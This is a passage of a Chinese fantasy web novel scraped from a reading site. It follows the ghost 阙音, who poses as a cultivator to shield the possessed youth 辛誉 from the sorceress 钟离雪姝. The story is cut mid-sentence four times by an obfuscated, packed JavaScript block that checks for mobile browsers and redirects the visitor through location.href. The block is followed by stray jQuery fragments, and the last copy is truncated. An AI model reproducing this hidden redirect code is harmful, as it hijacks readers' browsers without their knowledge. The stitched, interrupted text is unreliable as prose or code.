辛夫人对钟离雪姝的话思考片刻,也露出了怀疑之色,阙音将她们的神情收在眼里,不动声色。 钟离雪姝向前一步,赤红宝石项链在雪白的锁骨上晃动,她眉梢微挑,视线落在辛誉脸上,道:“我是钟离雪姝,阿音道友应该听说过吧,我来医治三公子,可好?” 阙音感受到背后的少年呼吸微颤,抓着她衣裳的手也蓦地一紧。 她待开口,身后的人却突然站出来,对着钟离雪姝灿烂笑道,“姐姐,你好漂亮。” 钟离雪姝瞳孔猛然一缩,神情瞬息万变,转而抿嘴淡笑。 辛誉直愣愣看着钟离雪姝,誓要将这张脸记得清清楚楚。 没有人知道他曾听见过钟离雪姝的声音,就在被抓的前两个月,那时,他受了风寒,打算提前告诉娘他的学习进度,好早些休息。 没曾想在转角处撞见一年轻女子和娘在谈话,她背对着他,看不到面貌,但她的声音嵌着英气,听过便难以忘记。 他无意打扰,收了脚步往回走。 钟离雪姝这身红衣,也着实刺痛他的眼,地洞中,也是这样的一抹红色,裙摆绣着金色花纹。 钟离雪姝没有说话,丝毫不避讳他的眼光,如此对视片刻,他也没有从她眼中看出点什么来。 手臂被人挽住,他退后两步,怔怔望着辛夫人。 “誉儿,让这位漂亮姐姐医治你好吗?”辛夫人期待道。 辛誉抿唇,将手轻轻抽回。 他看向阿音的背影,站到她身后,很是乖巧地说:“可是,我已经有师姐了。” 辛夫人不好再说什么,无奈站在原地。 一直不出声的辛朝看向辛夫人,“娘,不可操之过急,阿音仙师毕竟陪伴弟弟那么久……” 钟离雪姝打断辛朝,“也好,反正我暂时不会走,若是阿音仙师哪天需要帮忙,我不就派上用场了。”语罢,她微转过脸,看向辛夫人。 辛夫人也看了看她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187091|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色没有什么变化,但阙音看出来,辛夫人方才和钟离雪姝,似心有灵犀,二人对过眼神。 阙音猛然看向躲在身后的辛誉,见他神色冷漠,看来,他也看到了。 刹那间,辛誉扶额喘息道:“我……头好晕……” 阙音扶住他,往屋中走。 身后三人忙跟随,内室中,辛誉被搀扶着躺上床,阙音没有为他盖被子,因为他额间出了细细一层薄汗。 阙音转过身,望了三人一眼,郑重道:“夫人,我医术虽浅,但我最熟悉师弟的病情,还请你给我时间,相信我,相信荒歧。” 辛夫人叹了口气,“不打紧,仙师言重了。” 三人看着阙音放下床幔,皆转了身要离去时,里面传来略重的顿步声,转眼一瞧,阿音的衣袖,被一只戴着红发带的手抓住。 不是辛誉又是谁。 他那般抓着,紧紧不放手,似是在害怕留他一人在此。 阙音只好不再继续往前,对她们施了一礼。 门没有被关,屋中只余她和辛誉。 她自床沿坐下,辛誉也松开手。 隔着淡青色床幔,她听见里面传来脱衣的声音,少年嗓音闷闷的,“好热。” 阙音呆了片刻,冷声道:“谢谢。” “仙师客气了。” 辛誉盯着上方床幔,她在谢他方才的举动,让她们以为,他是信任她的,也只信任她,如此,钟离雪姝就算怀疑她,也无计可施。 “仙师,荒歧那么多孤儿,你的亲人可否还在人世?” 阙音看向床幔,缓缓道:“他们在很远的地方,每年除夕,我会回去和他们团聚。 辛誉“嗯”了一声,彻底不说话了。 阙音坐在桌上,木然撑着手臂。 神力可让她以凡人之身行走于世间,但也仅限于触感,其他的,和鬼魂之身没有区别。 哪怕她法力比宗门弟子高,也没有到不需要休息的境界。 为了不让人怀疑,为了更好办事,她踏入仙门,做一个修道者。 院中鸟叫声清脆,日光打在窗棂上,一片岁月静好,待到鸟叫声渐渐消失,阙音起身。 “辛誉,来人了。”阙音走至微开的窗边,瞥见仆人在带路。 一个身材高大的男子,身后还跟着一个女子。 “是大哥。”略带喜悦的声音自阙音耳后响起。 阙音偏过头,辛誉不知何时来到她身旁,随意披着外衫,静静看着来人。 他神色由喜转郁,阙音心里疑惑间,辛澈已跨步进入房门。 他身姿欣长,着一袭墨色长衫,脚步沉稳,面上冷酷,开口却是温润之声,“誉儿,你可还记得我是谁?” 辛誉摇了摇头,“不记得。” 辛澈又看了阙音,笑道:“仙师会谅解我这个做哥哥的吧,路途遥远,我收到父亲来信便着急赶回来看誉儿。” 阙音颔首,没说话。 辛誉还在想着什么,被辛澈拉着走到门外,站定,辛誉没抬头,有些抗拒地收回自己的手臂。 辛澈开口道:“誉儿,这位是甘小姐,你的未婚妻。” 辛誉眸光一闪,装作惊讶道:“未、未婚妻?” 辛澈对站在台阶下的甘连辰略显歉意道:“甘小姐,弟弟尚在恢复中,我想很快他就能想起来一切。” 甘连辰身着雪白收腰丝裙,眉眼温柔,纤腰绰约,明晃晃一个闺阁淑女。 “我明白。” 温温柔柔的嗓音,直戳人心底深处,大抵对着这样一张脸,想发脾气都发不出。 辛誉回过头,见阿音面无表情地盯着桌上茶杯,置若罔闻。 他闭了眼,心底冷笑。 未婚妻? 11. 蘅京(4) 那个找到他,却又将他丢下的未婚妻? 他从泽生逃出,晕倒在乱葬岗,醒来腹中空空,体力不支,无法动身,等待许久,一把抓住来啄他腐肉的秃鹫,对着脖子张口咬下去。 身上没有一处不疼,身旁皆是死人,臭气熏天,几欲作呕。 他在等活物降临,体内魂魄却忍不住叫出声。 恶鬼声音刺破他的耳膜,要将他的五脏六腑穿透。 “剩一口残气了,还不肯接受我们吗?” “万里挑一的特殊体质,让我们成为你,没有人再敢欺负你。” 他狠狠吐出一口血,喘着气,咬牙切齿道:“滚!” 恶鬼不肯放弃,浓烈黑雾裹着他,掐住他脖子。 就在这时,两三个下人打扮的男子跑进乱葬岗,其中一人搜寻着,小声道:“小姐要找的人,你们都认识吧?” 另外两个人应道:“自然,我们见过他,只是,此处有活人吗?” 那人嗤笑道:“既然有人给出线索,不妨找找,找到了,活人也得是死人,小姐难不成还真会嫁给一个废物?” 那两人连连点头附和。 辛誉因疼痛思绪混乱,听到他们的谈话,一颗温热的心瞬间被冻住,头脑都清醒不少。 这门婚事,是爹娘还将军府的恩情,他一开始便知道,所以从不开口拒绝。 他只是想活着。 一人惊呼道:“那、那个人,还活着!” 一人狠厉道:“别管了,走,小姐还在等我们。” 他伸出的手,无力跌下去。 “哈哈哈哈哈哈,人总是如此无情。”恶鬼穿过他一只眼睛,他疼得闭了眼。 终是挨不住晕了过去。 回忆戛然而止,阙音纤细五指搭在他肩膀上,他心头突然平静。 阙音对辛澈和甘连辰分别施了一礼,嗓音如同雨水打在青石板上,“我该医治师弟了,辛公子可还有话要说?” 辛澈回了一礼,笑了笑,“仙师尽管去做,誉儿的事我都知晓了。”看了看甘连辰,又将目光移到阙音,道:“后日酉时,我打算邀请仙师游船,感激仙师的救命之恩,誉儿和甘小姐也一起吧?” 阙音没有犹豫,“辛公子所邀,没有不去的道理。” 辛誉怔怔地看着阙音,有些疑惑,但还是没出声,以此作为回应。 甘连辰轻声道:“我恐是不便。” 话音刚落,钟离雪姝的声音便传了来,“我也去,哪里就不便了?” 她似是走得急,额间生出薄汗,笑着望着辛澈,“是不是,辛公子?” “自然。”辛誉松手,下了台阶,“地点在泽月桥,还请各位按时赴约。” 钟离雪姝走近甘连辰,从腰间拿下香囊,递给她,“这是我写的符咒,可保邪祟不近你身,近日蘅京有些乱,甘小姐收好。” 甘连辰碧潭一般的眼眸生出温柔笑意,“谢谢仙师。” 辛澈从容离去,甘连辰看了高大背影,起步就走,钟离雪姝对阙音和辛誉笑了笑,也逐渐消失在院落。 阙音目光和辛誉对上,说:“她有符咒,你有发带,不必担心。” 辛誉摇摇头,声音低哑,“我不担心这个。” 阙音抬眉,“有一场大戏要演,你好好准备,出发前,我来见你。” 阙音说到便做到,没再见辛誉,她回到屋中,自半夜化为鬼身,出了辛府。 * 在阙音眼里,鬼域并不像人间所说的那般阴沉恐怖。尤其神主大殿,始终凝着朦胧雾气,万枯灯照着大殿四周,远远看去,一片辉煌夺目的亮点。 她身处之地,虽然漆黑不见五指,隐约可见的只是杂草边缘发散的白光,但莫名使鬼感到安心。 她跪坐在空旷的大殿中央,低着头,左手掌心摊开着一本古书,右手握着一根树枝,在书上写写画画。 不多时,空中浮现一排排金色文字,飞至殿内的蝴蝶冰座前。 那些文字,皆是关于泽生抓走恶鬼,再将恶鬼放凡人身上炼灵器的记录。 她听神主说话,从来听不清,于是便有了这样的方式进行传达和谈话。 她眼前浮现一行金色小字,“吾知,一切后果自行承担。” 她缓慢站起来,施了一礼。 行至忘怀殿,鬼差押着一鬼魂来到她面前,鬼差道:“大人,他不肯入轮回。” 不肯入轮回的多了去了,这几百年里,她早已习惯,欲转身,那鬼魂慌忙扯住她衣袖,张着嘴不知在说些什么,她微微蹙眉。 是个哑巴。 看他模样,生前当是长得眉清目秀。 她额间火焰跃出一点星火,落在他手心。 那是一个春日,角落里,摆着一方画摊,摊位坐着一位蓝衣公子。他起手落笔间,皆是风韵。风吹过他的额角发丝,眉目如画,撩人心弦。 这些画出品不凡,黄衣女子看得出了神,他似是害羞,低了头,脸如天边烧红的云。 女子问道:“敢问公子尊姓大名?” 他写好字,拿给她看,“在下南谦。” 周围的人看热闹,说哑巴卖画,她惊住,他虽是哑巴,画功却了得,一幅高山流水遇知音活灵活现,她选了这幅画,付了银两便离开。 那女子,是辛朝。 转眼,南谦死在山谷中。 他在桃树下等待,被人推落山谷而死,而辛朝,后来一步,在树下绝望离去。 阙音收回星火,对鬼差道:“交给我罢,你退下。” 南谦面带笑容感激地看她,却听阙音道:“并不是答应你不入轮回。” 南谦摇头,在她手心写着字。 “你想见她?”阙音问。 南谦点头,收回手。 阙音将他带入忘怀殿锁住,在门外冷声道:“你在这等候,我会来找你的。” 阙音回到辛府,找到辛朝的院落。 夜色浓郁,辛朝散发坐在镜前,呆呆地望着镜中的自己,心事重重,看起来和白日里如同两个人。 阙音随意一瞥,便看到房间墙壁上挂着那幅高山流水遇知音的画。 她回到屋中,变回凡人之身,躺在床榻上。 辛朝,南谦。 是谁害死了南谦,那人的脸她没看见。 翌日,申时,阙音的屋门被敲响。 “仙师,是我。”辛誉清朗的声音打破她的思绪。 她打开门,辛誉一身墨色衣衫立于身前,他面容清丽,穿深色反而不稳重,领口边缘的淡青竹纹,透出几分俏色。 阙音垂眸,眼睫盖住神情,“走罢。” 辛誉没有要马车,直接走路而去,这一趟路程不近不远,到达泽月桥时刚好酉时。 一艘挂着许多花灯的船靠在岸边,船头,辛澈手执纸扇,轻轻摇晃,见了二人,连忙招手。 辛誉抬步上船,便咳嗽了两声,他皮肤白皙,在花灯照耀下更显白,一看便知晓他身子弱,被辛澈快速带进船舱落座。 阙音慢悠悠跟在后面,见船舱中人,钟离雪姝和甘连辰早到了,她们面对面跪坐在软垫上,微微笑着不说话。 阙音并不坐,只站在一旁,辛澈道:“仙师可有何处不妥?” 阙音看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187092|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼辛誉,见他离钟离雪姝坐的远,便道:“无碍,只是有些晕船。” 辛澈微愣住,似没想到修道之人会晕船,却也不尴尬,掀了船帘,道:“今晚本就以仙师为主,我陪仙师吹吹风。” 阙音望向钟离雪姝,道:“道友,可否一同前往?” 钟离雪姝神情淡定,眉目冷艳,“好呀。”又笑着对甘连辰道:“今夜月色很美,甘小姐不常出门,不如一同观赏?” 甘连辰身着青衣,戴着面纱,漂亮的眼睛一转,“好。” 泽月桥建立在城外的大河中,河水深而宽,最适合游船,此时河面上,不止辛澈这一艘船,放眼望去,大约有七八艘。 辛澈和钟离雪姝先行,去了前边,阙音走到高至大腿的栏杆边,临风而立,她仍穿着荒歧弟子的衣服,衣袖裙摆飞扬,周身像是凝着一层霜。 甘连辰腰间戴着钟离雪姝送的香囊符咒,莲步轻移,从她身侧而过。 她没有看甘连辰,余光却看到甘连辰脚步一歪,几乎朝河中摔去。 她眼疾手快拽住甘连辰,将她往后拉,同时,身子感受到一股强大的推力,她连忙脱手,甘连辰摔倒在地,而自己落入河水中。 若是平常的落水,根本伤不到她。 但她落下的瞬间,身体被水裹成圈,伸手去破,才确认这是个法阵。 她想到那个符咒,忽而淡淡一笑。 对于这种低级法阵,她不屑一顾,无心搭理,随意让身体往下沉,钟离雪姝想要试探她的法力,她便给她看。 隐约听见,甘连辰在叫唤,“仙师落水了!” 又有道声音赫然响起,“誉儿,你不会水,不要跳!” 阙音心头一震,霎时,那抹墨色朝她坠落,他头发被水打散,黑发铺散开来,随水晃动,犹如暗夜中的神灵。 急速下落间,她的一只手被他稳稳牵住。 她破了法阵,拥住了少年瘦弱的身子。 “公主落水了!公主落水了!快来人啊!” 记得,她七岁时,宫婢带她去花园散步,途中经过池子,她被宫婢一把推落池中,连呼救都来不及。 她浮浮沉沉中喝了几口池水,鼻间也吸了水,最后怎么也上不去了,往下沉着,沉着,突然一只有力的手将她拉起,让她重见日光。 皇兄的脸她快记不清,只记得他湿淋淋站在水中,对宫婢板着一张脸,严肃至极,她大气不敢出,只紧紧抱着他。 皇兄。 那是她长那么大头一回见到皇兄,她出生后不久,母后不在了,她被抱给清妃养育。 渐渐的,她长大到七岁,认为皇兄不喜欢她,讨厌她,因为她害得母后不在了,也因为如此,他从不来看她。 然而,她没想到,就这样冷心冷情的皇兄,会在她最危难的时刻冒出来,将她救下。 从此,再也怪不了他。 回忆充斥脑海,她似乎感受到了七岁落水时的寒凉,心间一颤。 辛誉被她抱着,头靠在她肩上,整个人赖在她怀中,也不管自己会不会水,会不会被淹死,就这样跳下来找她了。 她额间火焰燃烧,一层透明结界将二人围住,辛誉渐渐恢复神识。 辛誉微睁开眼,思绪万千,他想看清她的模样,却被一道力量拦住,怎么看也看不清,他想说话,开口无声,只得抱住她的手臂,不松手。 他跳下来,并不是担心。 而是为了在她心中,留下一份人情,好让她愧疚,如此,往后复仇之路,又会顺利许多。 如此强大的鬼魂,又怎会需要他的救助。 是他,需要她。 12. 蘅京(五) 辛誉感受到身子被扶稳,缓缓朝上移动,蓦地,破水而出,下一刻,他缓过神来,已经上了岸,瘫坐在草地上。 船上花灯摇曳,河面波光粼粼。 衣物头发已变干燥,他不禁意暼向阿音。 她右手捏起一道符咒,甩向游船上的人。 “我已传音给他们,走罢。”她道。 衣袂飘飘,她弯下腰,朝辛誉伸出一只手。 她的手细长,肤色同她脸一样白,不正常的白。 辛誉看着地上石子,手指蜷了下,握住她,站起身来。 一丝凉意钻进心尖,又迅速退去,阙音放开了他,径直往前走。 林中寂静无声,月光轻轻洒下,阙音停下来,对他道:“你在此处等我一会。” 辛誉顿住脚步,没有问她要去哪里,侧着脸扶住身旁的树干,微点头。 等少女从林中消失,他折下一节细长树枝,紧握在手里。 “拥有力量的感觉如何?”恶鬼突然出声,伴着桀桀笑声如洪钟敲响在脑中。 辛誉眉一拧,身子颓了半截,吐气道:“我不稀罕这种力量。” “不稀罕?恐怕你早就淹死了。” 团团黑雾细柳般摇荡,盘旋在他低垂的双眼间,他停顿了许久,道:“要怎样你们才肯离开?” 黑雾急速转了几圈,语气极其兴奋,“离开?你早已与我们融为一体,辛誉,接受事实罢。” 他一拳砸在枯老树皮上,面目冷寒,忽而黑雾钻进眼眸,眼皮一抽,疼得他捂住眼睛。 蘅京郊外荒无人烟,凶残的东西最容易聚集在此。 辛誉感到周身阵阵寒风吹过,意识到什么,猛然抬头,面前一头灰狼张着尖锐獠牙,眼中闪烁寒光,仿佛下一刻就要将他撕碎。 他不动声色退后,扔出手中树枝,灰狼“唰”地朝他蹦去。 辛誉被扑倒在地,像是即将被吞噬的美味佳肴,却在没人看见的角度,他的一只手狠狠扼住灰狼喉部,使其发出挣扎之声。 僵持间,浓烈黑雾自他全身涌出,他松了手劲,将手中死物甩掉,有些迷茫地躺在原地。 沙沙声零碎,轻巧脚步声停在他身旁。 阙音沉沉开口道:“你果然在骗我。” 她方才故意走开,变出一只狼,只为看清他所隐瞒之事,只为让他不再隐瞒。 辛誉缓慢偏过头来,赤红瞳孔充斥黑雾,怔怔望着她,带着懵懂与邪恶。 他闭上一只眼,喃喃道:“原来你早就发现了。” 阙音蹲下,手抚上他额头,金光如烟缭绕。 辛誉瞳孔很快恢复如常,颤动眼睫,心中逐渐平静,他闭了双眼,面容困倦。 而就在她手离开时,少年猝然睁开通红双眼,阙音眼神一瞬冷了下来。 辛誉身形一闪,阙音也闪退几步。 二人隔着不远不近的距离,相互凝视着。 辛誉面目冷寒,脸色变得如同阙音一般死白,全身黑雾奔腾而出,形似凶兽。 眨眼的功夫,辛誉闪至她身前,手不受控朝她脖颈掐去。 阙音顿时退后几步远,看了眼躲在林中的身影,随即变出古琴,挥指一弹,紫色结界罩住失去神智的辛誉。 她自原地坐下,弹奏着。 辛誉捂着脑袋,痛苦万状,一掌又一掌拍打结界。 泠泠之声化作黑蝶进入结界里,曲毕,阙音收回琴,起身。 林中身影淡去,钟离雪姝已经离开。 她瞬间化为鬼身,雾蒙蒙的双眼沾染怒意,声音如咒,打在恶鬼身上,“尔等休要猖狂。” 黑雾被震得躲回辛誉身体里,辛誉腿一软,跪倒在地。 他抬头,看着紫衣少女迤逦而来。 犹如神祗。 她瞳孔一动不动,长睫微垂,头轻轻偏了下,弯腰伸出手握住辛誉的手腕。 她道:“果然如此,你能看见我,亦能碰到我。” 她手指勾住缠绕在他手腕上的红发带,问道:“现在,你能信任我了吗?” 辛誉嘴唇微微颤,他方才差点动手伤她,若是动手,又哪里会是她的对手。 “我并非有意隐瞒……”又试探问道:“你究竟是谁?” 阙音松开手,行至一棵树下,双腿盘坐在地,答道:“一个死人,你怕我吗?” 辛誉撑着手臂缓缓坐下,若有所思地盯着阙音,说道:“不怕。” “现在你可以告诉我,钟离雪姝对你做了什么吗?” 辛誉不说话,阙音继续道:“其实你不说,我也猜到了,辛誉,恶鬼的力量,你不要碰。” 辛誉闻言,摇摇头。 古琴突然躺在她双腿上,她双手轻放琴弦上,怔怔道:“这把琴如今送给你,日日弹奏,时间长了,你体内恶鬼便会自行散去。” 辛誉眼睫一动,眼眸含笑道:“仙师,你忘了,我不喜弹琴,也不会弹琴。” 阙音挥手,琴身已到了辛誉跟前,“我教你,但此刻,我们得先回去,钟离雪姝已经彻底怀疑。” 辛誉望着琴尾的花纹,道:“需得速战速决了。” 他揽住琴,稳稳抱在胸前,站起来,风吹过墨蓝色发带,他认真地看向她,道:“仙师,事成之后,你想要什么报酬?” 阙音也站起来,转过身子,衣裳随着走路变成白色,淡淡的声音响起,“黄金百两。” * 阙音是悄悄带辛誉回府的,一到清越居,阙音就锁了院门。 她和辛誉已经计划周全,接下来只待约辛澈和辛朝一同出府。 辛誉这一觉睡得很香,醒来时,已然天亮。 他拾掇得体,行至廊下,一抹淡紫色映入眼帘。 阙音今日换下荒歧的衣服和装扮,长发也只用同色系的发带捆住。 辛誉觉得,这世间没有哪个女子比她更适合穿紫色了。 院门响起“咚咚”声,阙音打开门,正是辛澈辛朝。 她昨夜里传送信件到各自屋中,俩人都按时赴约了。 阙音侧过身子,看向身着浅色衣裳的辛誉,“师弟,出发罢。” 一行四人,一辆马车,辛澈常年游走在外,驾马御车已是游刃有余。 阙音静静坐着,忽然开口,“辛小姐,辛公子,师弟想要和你们单独聚一聚,所以特让你们不要告诉他人。” 辛朝端坐着,清澈眼眸含着微微笑意,看了眼坐在身旁的辛誉,温柔道:“我知道。” 辛朝轻摇扇,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230112|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“誉儿,你热不热?” 辛誉摇摇头,自从无意中用了恶鬼力量,身体愈来愈寒。 他想起阿音皮肤温度,不由得蜷起手指。 他假装看外面的大哥,眼神扫过坐在对面的阿音。 一个死人,死了多久呢? 感受不到温度,也尝不出味道。 那日,是他骗她,曲若怜回忆里,她给的糕点其实是甜的。 马车停了下来,辛澈掀开帘子,“走,我们去祈愿。” 阙音却不动,她不想打扰他们。 辛朝牵起她的手,惊道:“仙师,你手好凉快!仙师不想祈愿吗?” 阙音抽回手,“我在一旁陪你们便好。”说罢,快速下了马车。 河边生着一棵参天大树,树枝舒展开来,上方挂着许多红绸带,绸带结着许愿木牌。 树下摆着一张长桌,桌上有笔墨。 辛誉看着阙音站在远远一处,少顷,握笔写字。 三年不读书,不练字,难免生疏,他尽力写到最好。 辛澈走过来,道:“我要看看誉儿写了什么?” 辛誉亮开木牌,给辛澈看,辛澈笑道:“是个很好的愿望。” 辛誉却念了出来,“愿平安。” 语罢,又念了几次,忽然,神色变得惊恐,慌张道:“少、少了一个字!” 辛澈和辛朝脸色都变了变,辛澈问道:“什么少了一个字?” 辛誉握住木牌的手微颤,“血,好多血,红色……” 辛澈眼睛微眯,想到了什么,连忙替辛誉将木牌挂好,“不怕,我们回家。” 阙音大步走来,并不说话,沉默着随三人回去,上马车前,她暼到钟离雪姝红裙一角。 计划尽在掌握中。 阙音将马车施了一层隔音结界,对准备驾车的辛澈道:“辛公子,我来,师弟有话要说。” 辛澈进了马车,阙音也听到辛誉终于吐露心声。 辛誉神色恢复如常,不再有懵懂无措之样,“大哥,阿姐。” 辛澈辛朝皆是一愣,明显感觉这声叫唤不同了。 辛朝抓住辛誉衣袖一角,语气紧张,“你……记得我们?” “我记得所有的人,包括抓我的人。”辛誉嗓音沉沉,带着些许痛楚。 辛澈一脸明白的神情,语气肯定道:“是钟离雪姝对吗?她抓的你。” 辛誉“嗯”了一声,不说话。 辛澈辛朝都是聪明人,自然知道辛誉这么做是为什么,对于娘来说,钟离雪姝是特殊的。 辛澈接着问:“你想要怎么做?” 辛誉温和笑道:“告知府中所有人,三公子已痊愈,想起来一切,他需要一个人静静。” 一路急行,回到辛府。 阙音带辛誉回到清越居,他踏入内室时,阙音背对着他道:“你安心休息罢,我会在外面守着。” 她化为鬼身,穿梭在府邸各个院落,辛誉辛朝速度极快,下人们已经在窃窃私语。 “三公子终于好了,老爷夫人不用担心了。” “我估摸着要不了多久,咱府中要办喜事啦!” “是呀是呀,三公子病好了,夫人就等着三公子成亲呢,真是双喜。” 13. 蘅京(六) “话说回来,大公子因这几年在外寻找三公子,根本无心成婚,不然早就……” “嘘,大公子才貌双全,德行出众,蘅京有哪个女子能配得上他。” 阙音没有继续听下去,来到钟离雪姝房门外,她猜到,那夜河中的法阵是个障眼法,真正的用途其实是跟踪术。 这就是钟离雪姝能快速找到她和辛誉的原因。 庭院中种着一棵柿子树,枝叶茂盛,枝条坚韧,橙黄果实充满了生机盎然的气息。 赤红衣袖推开院门,钟离雪姝缓步走着,神色有些恍然。 她行至柿子树下,抬头,细细看着,那眼神,像是在回忆,忽而,凄艳地笑了下。 阙音蹙眉,她竟会在钟离雪姝脸上看到这种神情。 钟离雪姝取下头上唯一的黑木簪子,握在手中,看了看,左手施法,簪子瞬间变成一盏精致小巧的灯笼。 那灯笼散发着绯红光芒,红光之中盘旋着黑雾。 阙音移不开目光,原来这就是钟离雪姝炼制的灵器。 一盏融入了人血和恶鬼的灯。 钟离雪姝收敛笑容,眼神变得狠厉,狠厉之中又夹杂一丝快意,她提着灯,缓步走出院门。 阙音传音给白觉,让他和几十个弟子继续守在辛府外,随机应变。 辛夫人去寺庙烧香已有几日,还未归来,正是钟离雪姝下手的时机。 黄昏映照,天空似飘着层层朦胧薄纱,好不真切。 阙音一瞬回到辛誉内室,提醒道:“她来了。” 辛誉侧着身子站在屏风后,低声问道:“哥哥阿姐呢?” “他们在白觉身边。” “好。” 七月的天,闷热难耐,辛誉却感到阵阵阴凉,那种熟悉的窒息感又缠绕心头,恶鬼开始叫嚣。 阙音在他身后,悄悄渡着神力。 屋外,脚步声轻响,钟离雪姝的影子打在门上,她嗓音略带清脆地说道:“三公子,冒昧打扰,我有要事与三公子说。” 辛誉不出声,凝神静待。 半晌,门被推开,屋内光线昏暗,钟离雪姝的那盏灯将四周照得明亮。 钟离雪姝目光落在内室床榻,床幔是放下的,看不清里面究竟有没有人睡着,她又开口道:“三公子,你睡着了么?” 她边走边催动灵器,灯笼转动起来,角落躲着的辛誉已是一头冷汗。 钟离雪姝大步走到床榻前,毫无顾忌地掀开床幔,床上被子叠得整整齐齐,根本没有人,她微眯眼睛,转眼看向屏风。 但她没有走上前。 辛誉从屏风后走了出去,抿唇笑着,“钟离仙师,我方才在捉一只飞虫,故而没出声,怕惊扰了它,你找我,有何要事?” 钟离雪姝弯了嘴角,将灯凑到他面前展示,“三公子,阿音仙师呢?我想让你们瞧瞧,这灯好不好看。” “听下人们说,三公子病好了,我特来恭喜。” 辛誉垂眸,飞步走到屋外转了一圈,回到门口,道:“师姐应当是出去了,这灯很好看,钟离仙师的东西,自是珍宝。” 钟离雪姝“哦”一声,走到他面前,“这般不巧,不过,既然三公子觉得好看,这盏灯便送予你了,当作见面礼。” 辛誉眸光微闪,嘴角笑意浓浓,伸手欲接过灯笼,还未触及,钟离雪姝一把抓住他的手腕,辛誉吃痛皱眉,要挣脱。 钟离雪姝死死抓住不放手,另一只手给灯施法,刹那间,黑雾从灯笼迸发而出,钻进辛誉眼中。 一道紫色身影闪过,钟离雪姝被迫松开辛誉,连连退后几步。 阙音将辛誉护在身后,施了一层结界罩住他。 钟离雪姝眼角上挑,嘲讽道:“你们果然在等着我来,没想到还是被你认出来了,辛三公子。” 又道:“你以为眼前这个仙师能赢我吗?” 辛誉捂着心口,重重喘气,隔着结界,道:“对付你,绰绰有余。” 他眉间染上痛色,不解问道:“你究竟为何如此?我娘待你不薄。” 钟离雪姝闻言,痴痴地笑道:“你娘?就算你娘此刻在这,我还是会这么做。” 她微低头,放开手中灯笼,任它悬在空中转动,缓缓道:“你以为是我不小心掉入埋伏,其实是我等不及了。” 话音落,清越居四方屋檐上顿时围满了黑衣弓箭手,弓箭上,凝着黑雾。 未等钟离雪姝下令放箭,阙音已经朝空中扔了一道符咒,迅速燃烧间,结界罩住整个辛府,白觉一群人执剑踏入清越居。 辛澈自人群中走出,冷声道:“钟离雪姝,停手罢。” “停手?下辈子都不可能。”钟离雪姝催动灯笼,看向辛誉,命令道:“辛誉,给我杀了她。” 然而,辛誉没动静,反而唇角微勾,带着嘲讽笑意。 “怎会?”钟离雪姝不敢置信。 她眯起眼打量阙音,一道黑雾朝阙音飞速而去,被阙音轻松躲过。 钟离雪姝垂了眼眸,侧过身子,正对着众人。 阙音转头对白觉吩咐:“护好他们。” 众人只见钟离雪姝站在那,她的脸色突然异常平静,不知在想什么。 白觉执剑盯着屋檐,不敢放松。 钟离雪姝抬步走下台阶,众人便一步一步往后退。 阙音将辛誉往后推了推,走到钟离雪姝面前。 钟离雪姝停了下来,抬眸道:“阿音仙师,你可真令我感到吃惊。” 阙音没有回应,平淡地看着她,双眸沉静没有任何情绪。 “可是,今日无人能拦我。”钟离雪姝两指夹着一道符咒,金光瞬间逼近罩住阙音。 阙音眸光一动,原来藏书阁中的符咒来自钟离雪姝。 清越居的天几乎被黑雾遮盖,黑雾自空中盘旋,涌向白觉等人。 荒歧弟子将辛澈辛朝围在中间,白觉在前,一剑将黑雾砍成两截,那黑雾又迅速合在一起,威力愈发强大。 阙音伸出食指,触及结界,结界瞬间碎裂消失。 钟离雪姝脸色变得青白,“你……”话停在嘴边,又见阙音揭开衣袖,解开手腕红发带,扔到空中,发带和黑雾纠缠起来,片刻间,黑雾四散奔逃。 阙音道:“你此刻停手,我不会伤你。” 钟离雪姝却狠厉笑了一下,蓦地一把抓住阙音,阙音低头,一条刻着符纹的金鞭捆住了她。 黑雾回到灯笼里,红光闪烁,结界里的辛誉突然闷哼出声,阙音挣开金鞭,全身顿时疼起来。 阙音心一沉。 钟离雪姝松开阙音,身形一闪,来到一个不起眼的荒歧弟子身边,夺走一把剑,待众人反应过来时,那把剑已经刺向了辛朝。 “不要!” 是辛夫人的声音。 她挡在辛朝身前,剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 